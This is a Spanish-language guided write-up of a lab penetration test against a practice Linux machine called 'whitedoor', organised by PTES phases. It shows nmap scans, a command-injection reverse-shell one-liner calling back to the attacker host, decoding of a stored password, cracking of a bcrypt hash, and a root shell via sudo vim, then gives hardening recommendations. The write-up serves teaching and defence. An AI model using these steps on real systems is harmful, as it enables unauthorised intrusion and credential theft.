Laboratorio Guiado - 01-whitedoor

Objetivo: Aplicar las fases establecidas en la metodología **PTES** (**Penetration Testing Execution Standard**), para simular un test de penetración completo sobre un entorno Linux. Este ejercicio tiene como propósito desarrollar habilidades prácticas en la recolección de información, análisis de servicios expuestos (como FTP, SSH y HTTP), explotación de vectores de ataque a través de aplicaciones web, obtención de credenciales, y escalada de privilegios (Enlace a la máquina).

---

1. Pre-engagement Interactions

Antes de comenzar el pentest, se definen los siguientes aspectos clave:

- **Alcance**: Acceso completo a la máquina objetivo `192.168.1.6`, simulando un entorno interno.
- **Objetivo**: Evaluar la seguridad de los servicios disponibles, identificar vulnerabilidades, escalar privilegios y obtener acceso root.
- **Restricciones**: Ninguna explícita.
- **Método**: Caja gris, con conocimiento básico del entorno.

---

2. Intelligence Gathering

En esta etapa se recolecta información del sistema objetivo mediante técnicas activas.

Escaneo de puertos - Nmap full TCP SYN

Se realiza un escaneo completo de todos los puertos TCP con una alta tasa de envío de paquetes para acelerar el proceso:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.6
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-20 20:07 -03
Nmap scan report for 192.168.1.6
Host is up (0.00032s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:28:5C:6E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
```

Se identifican tres puertos abiertos: **FTP (21), SSH (22) y HTTP (80)**.

Escaneo de versiones y scripts NSE por puerto

Se realiza un escaneo dirigido a los servicios descubiertos, con scripts NSE por defecto y detección de versiones.

```
› nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.6
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-20 20:08 -03
Nmap scan report for 192.168.1.6
Host is up (0.00024s latency).
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              13 Nov 16 22:40 README.txt
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 3d:85:a2:89:a9:c5:45:d0:1f:ed:3f:45:87:9d:71:a6 (ECDSA)
|_  256 07:e8:c5:28:5e:84:a7:b6:bb:d5:1d:2f:d8:92:6b:a6 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.95 seconds
```

---

3. Threat Modeling

Con base en la información recopilada, se identifican vectores de ataque potenciales:

- **FTP con acceso anónimo habilitado**: Puede permitir la descarga de archivos sensibles.
- **Servicio HTTP** con formulario vulnerable a inyección de comandos.
- **SSH activo**: Permite login remoto si se obtienen credenciales válidas.
- **Enumeración de usuarios y archivos ocultos** mediante navegación del sistema.\

---

4. Vulnerability Analysis

Servicio web vulnerable a ejecución de comandos

Se detecta un formulario en la página web (puerto 80) que permite ejecutar el comando `ls`. Mediante inyección de comandos, se utiliza un one-liner para establecer una reverse shell:

```
>ls;bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 1>&0"
```

Esto otorga acceso a la máquina objetivo mediante una shell interactiva.

---

5. Exploitation

Explotación de acceso a archivos locales

En el `directorio /home/whiteshell/Desktop`, se encuentra un archivo oculto, llamado `.my_secret_password.txt`, con una cadena en base64, que se decodifica en dos etapas:

```
❯ echo 'VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K' | base64 -d
VGgxc0lzVGgzUDRzU3dPckRibGFjNQo=

❯ echo 'VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K' | base64 -d | base64 -d
Th1sIsTh3P4sSwOrDblac5
```

Acceso por SSH con las credenciales encontradas

Se utiliza el usuario `whiteshell` para establecer una conexión SSH:

```
❯ ssh whiteshell@192.168.1.6
...
whiteshell@whitedoor:~$
```

Esto otorga acceso al sistema como usuario legítimo.

---

6. Post-Exploitation

Recolección de información adicional y movimiento lateral

En el directorio del usuario `Gonzalo`, se encuentra un archivo oculto que contiene un hash bcrypt. Se procede a crackearlo con John:

```
❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
qwertyuiop       (?)
...
```

Login SSH como Gonzalo

Usando la contraseña crackeada:

```
❯ ssh Gonzalo@192.168.1.6
...
Gonzalo@whitedoor:~$
```

Ya como el usuario `Gonzalo`, se accede a la primera flag.

Escalada de privilegios con Sudo

Se ejecuta `sudo -l` para enumerar los comandos que el usuario puede ejecutar como root:

```
Gonzalo@whitedoor:~/Desktop$ sudo -l
...
User Gonzalo may run the following commands on whitedoor:
    (ALL : ALL) NOPASSWD: /usr/bin/vim
```

Se identifica que se puede ejecutar `vim` como root sin contraseña. Esto se aprovecha para ejecutar una shell privilegiada:

```
Gonzalo@whitedoor:~$ sudo /usr/bin/vim
```

Dentro de `vim`, se lanza una shell:

```
> ESC
:!/bin/bash
```

Con esto se obtiene una **shell como root**, completando así la toma total del sistema y la obtención de la flag final.

---

7. Reporting

Resumen técnico

- **Acceso inicial:** Formulario vulnerable en HTTP → reverse shell.
- **Movimiento lateral:** Lectura de archivo oculto → SSH como `whiteshell`.
- **Escalada:** Descubrimiento de hash bcrypt → crackeo → SSH como `Gonzalo` → uso de `vim` con sudo.
- **Acceso root logrado**.
- **Flags capturadas:** Usuario y root.

---

8. Recomendaciones

Basado en los vectores explotados, se recomiendan las siguientes acciones:

8.1. Deshabilitar acceso anónimo al FTP

`anonymous_enable=NO`

Evitar exponer archivos públicamente a través del protocolo FTP.

8.2. Sanitizar entradas del formulario web

- Validar y restringir comandos permitidos.
- Usar *whitelisting* y funciones seguras.
- Implementar un WAF para prevenir ataques de inyección.

8.3. Evitar almacenar credenciales codificadas

- No usar Base64 para guardar contraseñas.
- Utilizar mecanismos de cifrado real.
- Aplicar permisos restrictivos en archivos sensibles.

8.4. Fortalecer contraseñas

- Evitar el uso de contraseñas débiles o comunes.
- Implementar políticas de contraseña y MFA.

8.5. Restringir uso de sudo sin contraseña

Eliminar configuraciones como:

`(ALL : ALL) NOPASSWD: /usr/bin/vim`

- Aplicar el principio de privilegio mínimo.

8.6. Monitoreo y alertas

- Registrar y auditar conexiones SSH, uso de `sudo`, y cambios en el sistema.
- Herramientas sugeridas: `fail2ban`, `auditd`, `OSSEC`.

8.7. Actualizar servicios

- Mantener Apache, OpenSSH, vsftpd y demás servicios actualizados.
- Evaluar periódicamente CVEs asociados a los servicios en uso.